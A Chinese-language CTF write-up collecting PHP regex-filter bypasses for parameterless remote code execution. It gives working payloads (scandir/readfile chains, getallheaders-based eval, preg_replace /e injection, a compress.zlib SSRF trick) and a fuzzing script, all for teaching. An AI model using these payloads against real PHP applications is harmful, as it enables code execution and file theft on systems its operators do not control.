从零开始的正则过滤学习(挖坑)
涉及知识点:
在打CTF的时候我经常遇到一些奇怪的正则过滤。
其中最常见的还是以下这一串无参数RCE。(出自 GXYCTF 禁止套娃)
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
接下来我将会把我见过的正则表达式以及它的绕过方法总结一下。
目录:
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])) { echo '1st ok'."<br>"; } else{ die('23333333'); }
payload: ?num = 23333%0a
2. Code-Breaking Puzzles 2018 easy - phplimit
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
出自峰佬的博客。这题的环境是 nginx 。简单的介绍一下正则 (?R)? 吧。
简单的来说这个正则表达式只能匹配这样的式子: dirname(getcwd()) 。
是吗?并不是,在bytectf中爆出这样的payload:
但是太过诡异,目前先不讨论,挖个坑吧。
方法一:
这里可以用峰佬说的 get_defined_vars() 函数。(配合 print_r() 函数来查看结果)
get_defined_vars — 返回由所有已定义变量所组成的数组
然后用 reset 函数来清空。
payload: ?code=print_r(reset(get_defined_vars()));
之后再在新的数组中加入一个变量1551。
payload: ?1551=ls&code=print_r(reset(get_defined_vars()));
最后用implode()将它们两个连起来。
payload: ?1551=echo 1;//&code=print_r(implode(reset(get_defined_vars())));
之后eval执行这个字符串。那么之后控制 1551 变量就可以读flag了。
方法二:
当然也可以直接读取,因为之后会有函数作用的总结,就直接列payload了。
payload: ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
与上面的正则表达式没有什么区别(。。毕竟都是无参数RCE)。但是因为上一题是 nginx 的环境,这一题是 apache 的环境,所以可以用next(getallheaders())来绕过这个限制。
构造payload: ?cmd=next(getallheaders());
curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda"
就可以看到phpinfo的内容。
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); }
这题几乎可以说是万恶之源了,谁能想到当初我刚入坑CTF的时候敢去打这个比赛。(太惨了)
这里主要谈这个过滤点。
思路来源于 0xDktb师傅 , 0xDktb师傅tql!
首先我们的目的肯定是读目录。一般我们读目录都是用 print_r(scandir('.'))。但是很明显我们无法用这种方法。
那么我们现在的目的就是盘出一个 46 来。(chr(46) == '.')
但是我们现在可以拿出的数字只有 5或者6 。(因为 php 的版本号是 5.6.31 。我们可以用 floor(phpversion()) == 5 或者 ceil(phpversion()) == 6)
也就是说我们的起始数字是 5 或者 6。而我们的目标是 46 。
由love math这道题可以知道php有很多的数字函数。那么5经过变换应该可以变成46的。
不多说,直接贴脚本吧。
<?php #最终脚本,累死了 error_reporting(0); function math_fuzz() { $res = []; $whitelist = ['acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; #echo count($whitelist); #本来有 46 个函数。 foreach($whitelist as $func) { #if 语句中的是题目中的过滤条件 if(!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $func) && !preg_match('/[0-9]/', $func)) { array_push($res, $func); } } return $res; } function math_choose($origin, $goal, $depth = 0) { $whitelist = math_fuzz(); $str = ['ceil','floor','abs'] ; //查看base_convert无报错,如果报错就放弃报错的函数,如果没报错那么放着就好了 #接下来测试过滤。 if($depth > 4) { return []; } foreach($whitelist as $math) { if(ceil($math($origin)) == $goal) { $res = []; array_push($res,'ceil',$math); return $res; } else if(floor($math($origin)) == $goal) { $res = []; array_push($res,'floor',$math); return $res; } else { $res = []; if(!empty($res = math_choose($math($origin), $goal, $depth + 1))) { array_push($res,$math); return $res; } } if(abs($math($origin)) == $goal) { $res = []; array_push($res,'abs',$math); return $res; } } } $origin = 5 ; // phpversion()函数加上 floor() 或者 ceil() 成为 5 或 6 开局! $goal = 46 ; $res = math_choose($origin, $goal); #print_r($res); foreach($res as $func) { echo $func."("; } echo $origin; for($i = 0;$i < count($res);$i++) { echo ')'; } echo ' = '.$goal."\n";
运行结果:
验证就不再验证了,直接构造
payload : print_r(scandir(chr(ceil(cosh(cosh(tan(round(acosh(floor(phpversion()))))))))));
读取本级目录。之后的操作不再说了,0xDktb师傅的博客里有的。(主要是这个脚本)
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); }
这题比 bytectf 那道简单,毕竟过滤的少。payload几乎可以用一样的。
方法一: array_rand(array_flip())
这里讲一种赌概率的方法。
array_flip()交换数组的键和值
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回
payload: ?exp=print_r(readfile(array_rand(array_flip(scandir(chr(ceil(cosh(cosh(tan(round(acosh(floor(phpversion())))))))))))));
方法二: array_reverse()
array_reverse()以相反的元素顺序返回数组。
最近有新发现,发现了 shuffle() 函数可以将数组随机打乱。
只有这题用的到,毕竟flag.php在倒数第二位。将数组倒叙后直接加一个next()就行了。
哦,对了,有一个点没有讲,current(localeconv())的结果一定是一个点,原因是
payload:?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
结果:
方法三: session_id()
session_id()可以获取到当前的session id。
第一次看到时直接看傻了。完全没想到 session_id() 可以用,这里也简单讲一下过程吧。
本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
首先要使用 sesssion_start() 开启session的。php默认是不开启session的。(顺带一提,session如果开启之后没有赋值,那么默认是空的,并不是不存在)
因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php
将print_r改为readfile即可读flag
preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
这个正则的坑很多。这里直接贴链接吧。
这里给一个可以直接绕过的payload :\S*=${phpinfo()} (phpinfo()可以换成你想要的PHP语句,比如eval($_GET[1551]) )
if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) { echo "you are hacker"; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/', $res['host'])) { $code = file_get_contents($url); if (strlen($code) <= 4) { @exec($code); } else { echo "try again"; } } } }
其实比起正则过滤,它应该说是SSRF的一种。因为SSRF太差了,所以比赛中只做到了这里,有点遗憾毕竟4位的命令执行方式我是知道的。
过滤了 data:// 还要求是 127.0.0.1 。如果说 Bytectf 中的 baidu.com 还可以利用百度的任意跳转漏洞或者买域名绕过,这个127.0.0.1就完全不一样了。
赛后看师傅们的WP。师傅们采用这样的方法绕过:
compress.zlib://data:@127.0.0.1/text/plain,ls compress.zlib://data:@127.0.0.1?;base64,bHM=
本地测试成功了。。但是不是很能理解原因,一时间也找不到,先放一下,记住有这个方法好了。
1. localeconv() 函数:
返回一包含本地数字及货币格式信息的数组。而数组第一项就是 .
本地测试结果:
那么第一项就是 . 了,所以可以用一下两种方式返回 .
>>> print_r(current(localeconv()));
>>> print_r(pos(localeconv()));
pos() 是 current() 的别名
相关操作数组的方法有(源自w3school):
- end() – 将内部指针指向数组中的最后一个元素,并输出
- next() – 将内部指针指向数组中的下一个元素,并输出
- prev() – 将内部指针指向数组中的上一个元素,并输出
- reset() – 将内部指针指向数组中的第一个元素,并输出
- each() – 返回当前元素的键名和键值,并将内部指针向前移动
- current() – 返回数组中的当前单元, 默认取第一个值。
- array_reverse() 以相反的元素顺序返回数组。
- array_flip()交换数组的键和值 ,常和array_rand()连用
- array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,常和array_flip()连用
- array_chunk() 把一个数组分割为新的数组块。
end()和next()都很好用的
这里只提两个吧
- floor() 将浮点数向下取整(话说 5.6.13 也算浮点数?)
- floor(5.6.13) == 5
- ceil() 将浮点数向上取整
- celi(5.6.13) == 6
时间函数一直是无参数Rce的一个重点(虽然上面我并没有提及,因为我本身是真的不太喜欢)。
但是这东西是真的好用,尤其是在 bytectf 的 boring code 中因为 flag在 ../index.php 中。并且 phpversion() 不能有参数,这时候只能用时间函数。
- time()
- localtime()
chdir()函数返回的是布尔类型的 true 或者 flase ,对于不需要参数的 time() 函数来说并没有用。time(true) 仍然可以正常执行。
并且 localtime(time()) 是可以返回一个当前时间的数组的。这个数组的第一位就是秒数。通过这种方法我们就可以在 每分钟的46秒 拿到 46 了。
通过 pos(localtime(time())) 拿秒数。
所以说这东西强啊。
hebrevc(crypt(arg)) 可以随机生成一个哈希函数,第一个字母大概率是$,小概率是 . 。通过 ord chr只取第一个字符。(arg代表任何数,true也行哦)
所以说bytectf 的那道题照样可以用这种方法。
crypt(serialize(array())) 与上面的东西几乎没有区别。
收下吧,这是我最后的波纹了(狗头,话说JOJO是真的好看)。
当然这里也不是光说些没用的东西。
整几个最后是 . 的运算式子,虽然我写了脚本,但是这样不是可以少开几次虚拟机吗?
1.
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))); 返回 .
2.
chr(ord(hebrevc(crypt(phpversion())))); 大概率返回$,小概率返回 .
3.
chr(ord(strrev(crypt(serialize(array()))))); 大概率返回$,小概率返回 .
4.
pos(localeconv()); 或者 current(localeconv()); 都可以返回 .
5.
chr(current(localtime(time(true)))); 46秒返回 .
有一说一,下面的方法其实我不想拿出来的,毕竟太强了。
chr(rand()) 欧皇质检员,相信自己,exp十年照样爆个零,rand一夜拿尽flag。
没说笑,真的,甚至还有这种方法:
chr(time())
原理在这个大佬的博客(噗嗤!哈哈!)
好的,咳咳,溜了,快跑啊!再不跑就真的是我最后的波纹了。
最后感谢以上提及的大佬们。
参考: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html